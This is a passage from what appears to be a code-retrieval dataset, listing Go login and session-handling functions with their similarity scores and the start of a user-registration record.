am.SerializeSessionValueHandler != nil {\\n\\t\\tsessionValue, err = am.SerializeSessionValueHandler(ctx.Context(), session)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\t// inject cookies into the response\\n\\tam.injectCookie(ctx, am.CookieNameOrDefault(), sessionValue, session.ExpiresUTC)\\n\\treturn session, nil\\n}\",\n \"func Login(authMod common.Authorizer, d models.UserStore, w http.ResponseWriter, r *http.Request) {\\n\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\tbody := models.User{}\\n\\tif err := decoder.Decode(&body); err != nil {\\n\\t\\tcommon.DisplayAppError(w, err, \\\"Invalid user data\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser, err := d.FindUser(body)\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(w, err, \\\"Invalid user data\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\t// compare password\\n\\terr = bcrypt.CompareHashAndPassword(user.HashPassword, []byte(body.Password))\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(w, err, \\\"Incorrect username and password\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\t// generate a fresh JWT\\n\\tjwt, err := authMod.GenerateJWT(\\n\\t\\tuser.UserName,\\n\\t\\tuser.Id,\\n\\t)\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(w, err, \\\"Please try again later\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\treturnUser := CreatedUser{\\n\\t\\tuser.UserName,\\n\\t\\tuser.Email,\\n\\t\\tjwt,\\n\\t}\\n\\n\\tcommon.WriteJson(w, \\\"success\\\", returnUser, http.StatusOK)\\n\\n}\",\n \"func Login(username string, password string) (user *User, token string, ok bool) {\\n\\n\\n\\t// SET UP A DATABASE CONNECTION\\n\\tuser, err := GetUserByUsername(username)\\n\\tif err != nil {\\n\\t\\treturn nil, \\\"\\\", false\\n\\t}\\n\\n\\t// CHECK THE PASSWORD OF THE USER\\n\\terr = bcrypt.CompareHashAndPassword([]byte(user.Hash), []byte(password))\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\treturn nil, \\\"\\\", false\\n\\t}\\n\\n\\t// IF NO ERROR WAS RETURNED, WE'RE GOOD TO ISSUE A TOKEN\\n\\ttoken, err = user.GetToken()\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\treturn nil, \\\"\\\", false\\n\\t}\\n\\n\\treturn user, token, true\\n\\n}\",\n \"func (handler *Handler) handleUserLogin(w http.ResponseWriter, r *http.Request) {\\n\\n\\t/**\\n\\tDefine a struct for just updating password\\n\\t*/\\n\\ttype loginUserStruct struct {\\n\\t\\tEmail string `json:\\\"email\\\"`\\n\\t\\tPassword string `json:\\\"password\\\"`\\n\\t}\\n\\n\\tuserCred := &loginUserStruct{}\\n\\n\\t//decode the request body into struct and failed if any error occur\\n\\terr := json.NewDecoder(r.Body).Decode(userCred)\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\n\\t}\\n\\n\\t//Now look up the user\\n\\tuser, err := handler.userHelper.GetUserByEmail(strings.TrimSpace(strings.ToLower(userCred.Email)))\\n\\n\\t//check for an error\\n\\tif err != nil {\\n\\t\\t//There prob is not a user to return\\n\\t\\tutils.ReturnJsonError(w, http.StatusForbidden, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t//We have the user, try to login\\n\\tuser, err = handler.userHelper.login(userCred.Password, user)\\n\\n\\t//If there is an error, don't login\\n\\tif err != nil {\\n\\t\\t//There prob is not a user to return\\n\\t\\tutils.ReturnJsonError(w, http.StatusForbidden, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Check to see if the user was created\\n\\tif err == nil {\\n\\t\\tutils.ReturnJson(w, http.StatusCreated, user)\\n\\t} else {\\n\\t\\tutils.ReturnJsonError(w, http.StatusForbidden, err)\\n\\t}\\n\\n}\",\n \"func login(creds *credentials) (string, error) {\\n\\t// Credentials\\n\\tif customCreds.UserName == \\\"\\\" {\\n\\t\\tf, err := ioutil.ReadFile(credentialsPath)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Unable to read credentials file (%q) specified in config file (%q): %s\\\", credentialsPath, configPath, err)\\n\\t\\t}\\n\\t\\tjson.Unmarshal(f, creds)\\n\\t} else {\\n\\t\\tcreds = customCreds\\n\\t}\\n\\tdata := url.Values{}\\n\\tdata.Set(\\\"userName\\\", creds.UserName)\\n\\tdata.Set(\\\"password\\\", creds.Password)\\n\\tdata.Set(\\\"orgId\\\", creds.OrgID)\\n\\tdata.Set(\\\"devKey\\\", creds.DevKey)\\n\\tbody := strings.NewReader(data.Encode())\\n\\n\\t// Request\\n\\tresp, err := http.Post(loginURL, \\\"application/x-www-form-urlencoded\\\", body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Unable to send Post request to %s: %s\\\", loginURL, err)\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\tr, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Unable to read resp body from %s: %s\\\", loginURL, err)\\n\\t}\\n\\t// Handling responses\\n\\terr = handleError(r, loginURL)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Unable to log in to Bill.com: %v\\\", err)\\n\\t}\\n\\tvar goodResp loginResponse\\n\\tjson.Unmarshal(r, &goodResp)\\n\\n\\treturn goodResp.Data.SessionID, nil\\n}\",\n \"func LoginFunc(w http.ResponseWriter, r *http.Request) {\\n\\tsession, _ := sessions.Store.Get(r, \\\"session\\\")\\n\\tswitch r.Method {\\n\\tcase \\\"GET\\\":\\n\\t\\tview.LoginTemplate.Execute(w, nil)\\n\\tcase \\\"POST\\\":\\n\\t\\tr.ParseForm()\\n\\t\\tusername := r.Form.Get(\\\"username\\\")\\n\\t\\tpassword := r.Form.Get(\\\"password\\\")\\n\\t\\t// there will not handle the empty value it should be handle by javascript\\n\\t\\tif user.UserIsExist(username) {\\n\\t\\t\\tif user.ValidUser(username, password) {\\n\\t\\t\\t\\tsession.Values[\\\"loggedin\\\"] = \\\"true\\\"\\n\\t\\t\\t\\tsession.Values[\\\"username\\\"] = username\\n\\t\\t\\t\\tsession.Save(r, w)\\n\\t\\t\\t\\tlog.Println(\\\"user\\\", username, \\\"is authenticated\\\")\\n\\t\\t\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\thttp.Error(w, \\\"Wrong username or password\\\", http.StatusInternalServerError)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\thttp.Error(w, \\\"User doesnt exist\\\", http.StatusInternalServerError)\\n\\t\\t}\\n\\tdefault:\\n\\t\\thttp.Redirect(w, r, \\\"/login/\\\", http.StatusUnauthorized)\\n\\t}\\n}\",\n \"func (c UserInfo) Login(DiscordToken *models.DiscordToken) revel.Result {\\n\\tinfo, _ := c.Session.Get(\\\"DiscordUserID\\\")\\n\\tvar DiscordUser models.DiscordUser\\n\\tif info == nil {\\n\\t\\tuserbytevalue, StatusCode := oAuth2Discord(DiscordToken.AccessToken)\\n\\t\\tjson.Unmarshal(userbytevalue, &DiscordUser)\\n\\n\\t\\t// If we have an invalid status code, then that means we don't have the right\\n\\t\\t// access token. So return.\\n\\t\\tif StatusCode != 200 && StatusCode != 201 {\\n\\t\\t\\tc.Response.Status = StatusCode\\n\\t\\t\\treturn c.Render()\\n\\t\\t}\\n\\t\\t// Assign to the session, the discorduser ID.\\n\\t\\t// If we've reached here, that must mean we've properly authenticated.\\n\\t\\tc.Session[\\\"DiscordUserID\\\"] = DiscordUser.ID\\n\\t}\\n\\tc.Response.Status = 201\\n\\treturn c.Render()\\n}\",\n \"func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\\n\\tsessionID, sessionIDState := cookies.GetCookie(req, \\\"session\\\")\\n\\tif !sessionIDState {\\n\\t\\treturn false\\n\\t}\\n\\tsession, sessionState := authentication.userSession[sessionID.Value]\\n\\tif sessionState {\\n\\t\\tsession.lastActivity = time.Now()\\n\\t\\tauthentication.userSession[sessionID.Value] = session\\n\\t}\\n\\t_, userState := authentication.loginUser[session.email]\\n\\tsessionID.Path = \\\"/\\\"\\n\\tsessionID.MaxAge = sessionExistTime\\n\\thttp.SetCookie(res, sessionID)\\n\\treturn userState\\n}\",\n \"func (s service) Login(ctx context.Context, username, password string) (string, error) {\\n\\tuser, err := s.authenticate(ctx, username, password)\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tsession, err := s.sessionRepository.Get(ctx, user.ID)\\n\\tif err != nil {\\n\\t\\treturn s.createSession(ctx, *user)\\n\\t}\\n\\treturn s.updateSession(ctx, *user, session)\\n}\",\n \"func Login(c echo.Context) error {\\n\\t// Read the json body\\n\\tb, err := ioutil.ReadAll(c.Request().Body)\\n\\tif err != nil {\\n\\t\\treturn echo.NewHTTPError(http.StatusBadRequest, err.Error())\\n\\t}\\n\\n\\t// Verify length\\n\\tif len(b) == 0 {\\n\\t\\treturn c.JSON(http.StatusBadRequest, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": \\\"You have sent an empty json\\\"})\\n\\t}\\n\\n\\t// Validate JSON\\n\\tl := gojsonschema.NewBytesLoader(b)\\n\\tresult, err := app.LoginSchema.Validate(l)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusBadRequest, err.Error())\\n\\t}\\n\\tif !result.Valid() {\\n\\t\\tmsg := \\\"\\\"\\n\\t\\tfor _, desc := range result.Errors() {\\n\\t\\t\\tmsg += fmt.Sprintf(\\\"%s, \\\", desc.Description())\\n\\t\\t}\\n\\t\\tmsg = strings.TrimSuffix(msg, \\\", \\\")\\n\\t\\treturn c.JSON(http.StatusBadRequest, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": msg})\\n\\t}\\n\\n\\t// Bind it to our User instance.\\n\\tloginUser := user.User{}\\n\\terr = json.Unmarshal(b, &loginUser)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusInternalServerError, err.Error())\\n\\t}\\n\\tloginUsername := loginUser.Username\\n\\tloginPassword := loginUser.Password\\n\\tu, err := user.GetByUsername(loginUsername)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusNotFound, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": \\\"Username does not exist !\\\"})\\n\\t}\\n\\n\\tif !comparePasswords(u.Password, []byte(loginPassword)) {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": \\\"Username or password does not match !\\\"})\\n\\t}\\n\\n\\tif !u.Confirmed {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": \\\"Account not confirmed, please confirm your email !\\\"})\\n\\t}\\n\\n\\ttoken, err := createJwtToken(u)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusInternalServerError, map[string]string{\\n\\t\\t\\t\\\"verbose_msg\\\": \\\"Internal server error !\\\"})\\n\\t}\\n\\n\\t// Create a cookie to place the jwt token\\n\\tcookie := createJwtCookie(token)\\n\\tc.SetCookie(cookie)\\n\\n\\treturn c.JSON(http.StatusOK, map[string]string{\\n\\t\\t\\\"verbose_msg\\\": \\\"You were logged in !\\\",\\n\\t\\t\\\"token\\\": token,\\n\\t})\\n}\",\n \"func (e *EndpointSessions) auth(writer http.ResponseWriter, request *http.Request) {\\n\\tlogin := request.Header.Get(\\\"login\\\")\\n\\tpwd := request.Header.Get(\\\"password\\\")\\n\\tagent := request.Header.Get(\\\"User-Agent\\\")\\n\\tclient := request.Header.Get(\\\"client\\\")\\n\\n\\t//try to do something against brute force attacks, see also https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks\\n\\ttime.Sleep(1000 * time.Millisecond)\\n\\n\\t//another funny idea is to return a fake session id, after many wrong login attempts\\n\\n\\tif len(login) < 3 {\\n\\t\\thttp.Error(writer, \\\"login too short\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(agent) == 0 {\\n\\t\\thttp.Error(writer, \\\"user agent missing\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(pwd) < 4 {\\n\\t\\thttp.Error(writer, \\\"password too short\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(client) == 0 {\\n\\t\\thttp.Error(writer, \\\"client missing\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tallowed := false\\n\\tfor _, allowedClient := range allowedClients {\\n\\t\\tif allowedClient == client {\\n\\t\\t\\tallowed = true\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif !allowed {\\n\\t\\thttp.Error(writer, \\\"client is invalid\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tusr, err := e.users.FindByLogin(login)\\n\\n\\tif err != nil {\\n\\t\\tif db.IsEntityNotFound(err) {\\n\\t\\t\\thttp.Error(writer, \\\"credentials invalid\\\", http.StatusForbidden)\\n\\t\\t} else {\\n\\t\\t\\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\\n\\t\\t}\\n\\n\\t\\treturn\\n\\t}\\n\\n\\tif !usr.Active {\\n\\t\\thttp.Error(writer, \\\"credentials invalid\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !usr.PasswordEquals(pwd){\\n\\t\\thttp.Error(writer, \\\"credentials invalid\\\", http.StatusForbidden)\\n\\t\\treturn\\n\\t}\\n\\n\\t//login is fine now, create a session\\n\\tcurrentTime := time.Now().Unix()\\n\\tses := &session.Session{User: usr.Id, LastUsedAt: currentTime, CreatedAt: currentTime, LastRemoteAddr: request.RemoteAddr, LastUserAgent: agent}\\n\\terr = e.sessions.Create(ses)\\n\\tif err != nil {\\n\\t\\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\tWriteJSONBody(writer, &sessionDTO{Id: ses.Id, User: usr.Id})\\n}\",\n \"func (webauthn *WebAuthn) ValidateLogin(user User, session SessionData, parsedResponse *protocol.ParsedCredentialAssertionData) (*Credential, error) {\\n\\tif !bytes.Equal(user.WebAuthnID(), session.UserID) {\\n\\t\\treturn nil, protocol.ErrBadRequest.WithDetails(\\\"ID mismatch for User and Session\\\")\\n\\t}\\n\\n\\treturn webauthn.validateLogin(user, session, parsedResponse)\\n}\",\n \"func LogIn(w http.ResponseWriter, r *http.Request) (*LoginInfo, error) {\\n\\t// Create a state token to prevent request forgery and store it in the session\\n\\t// for later validation.\\n\\tsession, err := getSession(r)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tstate := randomString(64)\\n\\tsession.Values[\\\"state\\\"] = state\\n\\terr = session.Save(r, w)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to save state in session: %v\\\", err)\\n\\t}\\n\\tglog.V(1).Infof(\\\"CheckLogin set state=%v in user's session\\\\n\\\", state)\\n\\tinfo := LoginInfo{\\n\\t\\tClientId: oauthConfig.ClientID,\\n\\t\\tStateToken: url.QueryEscape(state),\\n\\t\\tBaseURL: BaseURL,\\n\\t}\\n\\treturn &info, nil\\n}\",\n \"func login(w http.ResponseWriter, r *http.Request){\\n\\t//Get value from cookie store with same name\\n\\tsession, _ := store.Get(r,\\\"session-name\\\")\\n\\t//Set authenticated to true\\n\\tsession.Values[\\\"authenticated\\\"]=true\\n\\t//Save request and responseWriter\\n\\tsession.Save(r,w)\\n\\t//Print the result to console\\n\\tfmt.Println(w,\\\"You have succesfully login\\\")\\n}\",\n \"func (d *DNSProvider) login() error {\\n\\ttype creds struct {\\n\\t\\tCustomer string `json:\\\"customer_name\\\"`\\n\\t\\tUser string `json:\\\"user_name\\\"`\\n\\t\\tPass string `json:\\\"password\\\"`\\n\\t}\\n\\n\\ttype session struct {\\n\\t\\tToken string `json:\\\"token\\\"`\\n\\t\\tVersion string `json:\\\"version\\\"`\\n\\t}\\n\\n\\tpayload := &creds{Customer: d.customerName, User: d.userName, Pass: d.password}\\n\\tdynRes, err := d.sendRequest(\\\"POST\\\", \\\"Session\\\", payload)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar s session\\n\\terr = json.Unmarshal(dynRes.Data, &s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\td.token = s.Token\\n\\n\\treturn nil\\n}\",\n \"func (app *application) postLogin(w http.ResponseWriter, r *http.Request) {\\n\\terr := r.ParseForm()\\n\\tif err != nil {\\n\\t\\tapp.clientError(w, http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tform := forms.New(r.PostForm)\\n\\tform.Required(\\\"screenName\\\")\\n\\tform.MaxLength(\\\"screenName\\\", 16)\\n\\tform.Required(\\\"password\\\")\\n\\n\\trowid, err := app.players.Authenticate(form.Get(\\\"screenName\\\"), form.Get(\\\"password\\\"))\\n\\tif err != nil {\\n\\t\\tif errors.Is(err, models.ErrInvalidCredentials) {\\n\\t\\t\\tform.Errors.Add(\\\"generic\\\", \\\"Supplied credentials are incorrect\\\")\\n\\t\\t\\tapp.renderLogin(w, r, \\\"login.page.tmpl\\\", &templateDataLogin{Form: form})\\n\\t\\t} else {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\t// Update loggedIn in database\\n\\tapp.players.UpdateLogin(rowid, true)\\n\\tapp.session.Put(r, \\\"authenticatedPlayerID\\\", rowid)\\n\\tapp.session.Put(r, \\\"screenName\\\", form.Get(\\\"screenName\\\"))\\n\\thttp.Redirect(w, r, \\\"/board/list\\\", http.StatusSeeOther)\\n}\",\n \"func (c *Client) Login(ctx context.Context, user *url.Userinfo) error {\\n\\treq := c.Resource(internal.SessionPath).Request(http.MethodPost)\\n\\n\\treq.Header.Set(internal.UseHeaderAuthn, \\\"true\\\")\\n\\n\\tif user != nil {\\n\\t\\tif password, ok := user.Password(); ok {\\n\\t\\t\\treq.SetBasicAuth(user.Username(), password)\\n\\t\\t}\\n\\t}\\n\\n\\tvar id string\\n\\terr := c.Do(ctx, req, &id)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tc.SessionID(id)\\n\\n\\treturn nil\\n}\",\n \"func checkLogin(next echo.HandlerFunc) echo.HandlerFunc {\\n\\treturn func(c echo.Context) error {\\n\\t\\tcookie, err := c.Cookie(\\\"SessionID\\\")\\n\\t\\tif err == nil && cookie != nil && cookie.Value == \\\"some hash\\\" {\\n\\t\\t\\treturn next(c)\\n\\t\\t}\\n\\t\\treturn c.Redirect(http.StatusMovedPermanently, fmt.Sprintf(\\\"/login?redirect=%s\\\", c.Path()))\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7249417","0.71791625","0.7148109","0.7145532","0.7125503","0.7103758","0.7101171","0.7101171","0.70302814","0.6993062","0.69926226","0.69918406","0.69282466","0.6898129","0.6888746","0.68840563","0.68760836","0.683304","0.68243915","0.6821626","0.6802072","0.6768718","0.67619497","0.67476106","0.67062503","0.66943026","0.66748416","0.6650309","0.66261846","0.6622073","0.66192335","0.6580728","0.65483147","0.65315473","0.6528519","0.650454","0.64805603","0.64768225","0.64731395","0.64695483","0.6462566","0.6459375","0.64425653","0.64387405","0.64335483","0.6420106","0.6418781","0.64132804","0.6410951","0.6400499","0.6393768","0.6385823","0.63743746","0.6372866","0.63684654","0.63528776","0.6351101","0.6348632","0.63420725","0.6334571","0.63342476","0.633402","0.6311171","0.6309435","0.63029134","0.629065","0.6257925","0.62549174","0.6244361","0.6221782","0.621989","0.62156767","0.62133664","0.6208264","0.61967087","0.6193906","0.6192457","0.6188391","0.61878943","0.6184718","0.61770326","0.6174854","0.61660707","0.6164364","0.6163002","0.616141","0.6157525","0.61562324","0.6153855","0.61488897","0.61485344","0.6142669","0.6140822","0.6137897","0.61330557","0.6131939","0.61288536","0.61247","0.6124595","0.6122905"],"string":"[\n \"0.7249417\",\n \"0.71791625\",\n \"0.7148109\",\n \"0.7145532\",\n \"0.7125503\",\n \"0.7103758\",\n \"0.7101171\",\n \"0.7101171\",\n \"0.70302814\",\n \"0.6993062\",\n \"0.69926226\",\n \"0.69918406\",\n \"0.69282466\",\n \"0.6898129\",\n \"0.6888746\",\n \"0.68840563\",\n \"0.68760836\",\n \"0.683304\",\n \"0.68243915\",\n \"0.6821626\",\n \"0.6802072\",\n \"0.6768718\",\n \"0.67619497\",\n \"0.67476106\",\n \"0.67062503\",\n \"0.66943026\",\n \"0.66748416\",\n \"0.6650309\",\n \"0.66261846\",\n \"0.6622073\",\n \"0.66192335\",\n \"0.6580728\",\n \"0.65483147\",\n \"0.65315473\",\n \"0.6528519\",\n \"0.650454\",\n \"0.64805603\",\n \"0.64768225\",\n \"0.64731395\",\n \"0.64695483\",\n \"0.6462566\",\n \"0.6459375\",\n \"0.64425653\",\n \"0.64387405\",\n \"0.64335483\",\n \"0.6420106\",\n \"0.6418781\",\n \"0.64132804\",\n \"0.6410951\",\n \"0.6400499\",\n \"0.6393768\",\n \"0.6385823\",\n \"0.63743746\",\n \"0.6372866\",\n \"0.63684654\",\n \"0.63528776\",\n \"0.6351101\",\n \"0.6348632\",\n \"0.63420725\",\n \"0.6334571\",\n \"0.63342476\",\n \"0.633402\",\n \"0.6311171\",\n \"0.6309435\",\n \"0.63029134\",\n \"0.629065\",\n \"0.6257925\",\n \"0.62549174\",\n \"0.6244361\",\n \"0.6221782\",\n \"0.621989\",\n \"0.62156767\",\n \"0.62133664\",\n \"0.6208264\",\n \"0.61967087\",\n \"0.6193906\",\n \"0.6192457\",\n \"0.6188391\",\n \"0.61878943\",\n \"0.6184718\",\n \"0.61770326\",\n \"0.6174854\",\n \"0.61660707\",\n \"0.6164364\",\n \"0.6163002\",\n \"0.616141\",\n \"0.6157525\",\n \"0.61562324\",\n \"0.6153855\",\n \"0.61488897\",\n \"0.61485344\",\n \"0.6142669\",\n \"0.6140822\",\n \"0.6137897\",\n \"0.61330557\",\n \"0.6131939\",\n \"0.61288536\",\n \"0.61247\",\n \"0.6124595\",\n \"0.6122905\"\n]"},"document_score":{"kind":"string","value":"0.6778647"},"document_rank":{"kind":"string","value":"21"}}},{"rowIdx":106134,"cells":{"query":{"kind":"string","value":"Validate register credential and save it"},"document":{"kind":"string","value":"func register(ctx context.Context) error {\n\trw := ctx.HttpResponseWriter()\n\n\tname := ctx.PostValue(\"name\")\n\temail := ctx.PostValue(\"email\")\n\tpassword := ctx.PostValue(\"password\")\n\n\tfieldErrs, err := db.RegisterUser(name, email, password)\n\tif len(fieldErrs) > 0 {\n\t\tdata, err := json.Marshal(fieldErrs)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Unable to marshal: \", err)\n\t\t\treturn goweb.Respond.WithStatus(ctx, http.StatusInternalServerError)\n\t\t}\n\t\trw.Header().Set(\"Content-Type\", \"application/json\")\n\t\treturn goweb.Respond.With(ctx, http.StatusBadRequest, data)\n\t}\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn goweb.Respond.WithStatus(ctx, http.StatusInternalServerError)\n\t}\n\n\t// everything went fine\n\tmsg := struct {\n\t\tBody string `json:\"body\"`\n\t\tType string `json:\"type\"`\n\t}{\n\t\tBody: \"Check your email to activate your account\",\n\t\tType: \"success\",\n\t}\n\tdata, err := json.Marshal(msg)\n\tif err != nil {\n\t\tlog.Error(\"Unable to marshal: \", err)\n\t\treturn goweb.Respond.WithStatus(ctx, http.StatusInternalServerError)\n\t}\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\treturn goweb.Respond.With(ctx, http.StatusOK, data)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (svc *credentialService) Register(ctx context.Context, email, password, confirmPass string, claims map[string]interface{}) error {\n\t//Construct credentail object from request\n\tcred := model.Credential{}\n\tcred.Create(email, password, provider, claims)\n\tcred.Claims = claims\n\n\t//Validate the credential data\n\terr := cred.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* Ignore password on register for now? because we only support google login\n\tVerify that password and confirmation password is equal\n\terr = cred.VerifyPassword(confirmPass)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*/\n\n\t//Check duplicate email\n\t_, err = svc.repo.Get(ctx, email)\n\tif err != repo.ErrNotFound {\n\t\treturn service.ErrAlreadyExists\n\t}\n\n\t//Every pre-check passed, create a credential\n\terr = svc.repo.Create(ctx, cred)\n\tif err != nil {\n\t\t//error 500 failed to create user\n\t\treturn err\n\t}\n\n\t//success, return no error\n\treturn nil\n}","func Register(c *gin.Context) {\n\tvar registerRequest types.RegisterRequest\n\terr := c.BindJSON(&registerRequest)\n\tif err != nil {\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: err.Error()}\n\t\tc.JSON(http.StatusBadRequest, response)\n\t\treturn\n\t}\n\n\t// Validate register request struct\n\t_, err = govalidator.ValidateStruct(registerRequest)\n\tif err != nil {\n\t\terrMap := govalidator.ErrorsByField(err)\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: errMap}\n\t\tc.JSON(http.StatusBadRequest, response)\n\t\treturn\n\t}\n\n\t// Maybe add same tag in govalidator\n\tif registerRequest.Password != registerRequest.PasswordAgain {\n\t\terrMap := make(map[string]string)\n\t\terrMap[\"password_again\"] = \"Password again must be equal to password\"\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"msg\": \"Please check your data\", \"err\": errMap})\n\t\treturn\n\t}\n\n\t// hash password\n\tbytePassword := []byte(registerRequest.Password)\n\thashedPassword := hashPassword(bytePassword)\n\n\t// Save user\n\ttx, err := models.DB.Begin()\n\tdefer tx.Rollback()\n\n\tuser := models.User{}\n\tuser.Email = registerRequest.Email\n\tuser.Password = hashedPassword\n\tuser.IsAdmin = 0\n\tif err = user.Save(tx); err != nil {\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: err.Error()}\n\t\tc.JSON(http.StatusNotFound, response)\n\t} else {\n\t\ttx.Commit()\n\t\tresponse := types.APIResponse{Msg: \"Register user successfully\", Success: true}\n\t\tc.JSON(http.StatusOK, response)\n\t}\n}","func Register(r *http.Request) (bool, error) {\n\tusername := r.FormValue(\"username\")\n\tnewPassword := r.FormValue(\"password\")\n\tconfirmPassword := r.FormValue(\"confirm_password\")\n\tu, err := models.GetUserByUsername(username)\n\t// If we have an error which is not simply indicating that no user was found, report it\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false, err\n\t}\n\tu = models.User{}\n\t// If we've made it here, we should have a valid username given\n\t// Check that the passsword isn't blank\n\tif newPassword == \"\" {\n\t\treturn false, ErrEmptyPassword\n\t}\n\t// Make sure passwords match\n\tif newPassword != confirmPassword {\n\t\treturn false, ErrPasswordMismatch\n\t}\n\t// Let's create the password hash\n\th, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tu.Username = username\n\tu.Hash = string(h)\n\tu.ApiKey = GenerateSecureKey()\n\terr = models.PutUser(&u)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false, err\n\t}\n\treturn true, nil\n}","func validateRegister(f *userRequest) (errors map[string]string) {\n\terrors = make(map[string]string)\n\tmodel.Required(&errors, map[string][]string{\n\t\t\"name\": []string{f.Name, \"Name\"},\n\t\t\"email\": []string{f.Email, \"Email\"},\n\t\t\"password\": []string{f.Password, \"Password\"},\n\t\t\"cpassword\": []string{f.Cpassword, \"Confirm Password\"},\n\t})\n\tmodel.Confirmed(&errors, map[string][]string{\n\t\t\"cpassword\": []string{f.Password, f.Cpassword, \"Confirm Password\"},\n\t})\n\tif len(errors) == 0 {\n\t\treturn nil\n\t}\n\treturn\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\tlog.Println(\"Register\")\n\tvar dataResource model.RegisterResource\n\t// Decode the incoming User json\n\terr := json.NewDecoder(r.Body).Decode(&dataResource)\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid data\",\n\t\t\thttp.StatusInternalServerError,\n\t\t)\n\t\treturn\n\t}\n\n\terr = dataResource.Validate()\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid data\",\n\t\t\thttp.StatusBadRequest,\n\t\t)\n\t\treturn\n\t}\n\n\tlog.Println(\"email: \" + dataResource.Email)\n\tcode := utils.RandStringBytesMaskImprSrc(6)\n\tlog.Println(code)\n\n\tdataStore := common.NewDataStore()\n\tdefer dataStore.Close()\n\tcol := dataStore.Collection(\"users\")\n\tuserStore := store.UserStore{C: col}\n\tuser := model.User{\n\t\tEmail: dataResource.Email,\n\t\tActivateCode: code,\n\t\tCreatedDate: time.Now().UTC(),\n\t\tModifiedDate: time.Now().UTC(),\n\t\tRole: \"member\",\n\t}\n\n\t// Insert User document\n\tstatusCode, err := userStore.Create(user, dataResource.Password)\n\n\tresponse := model.ResponseModel{\n\t\tStatusCode: 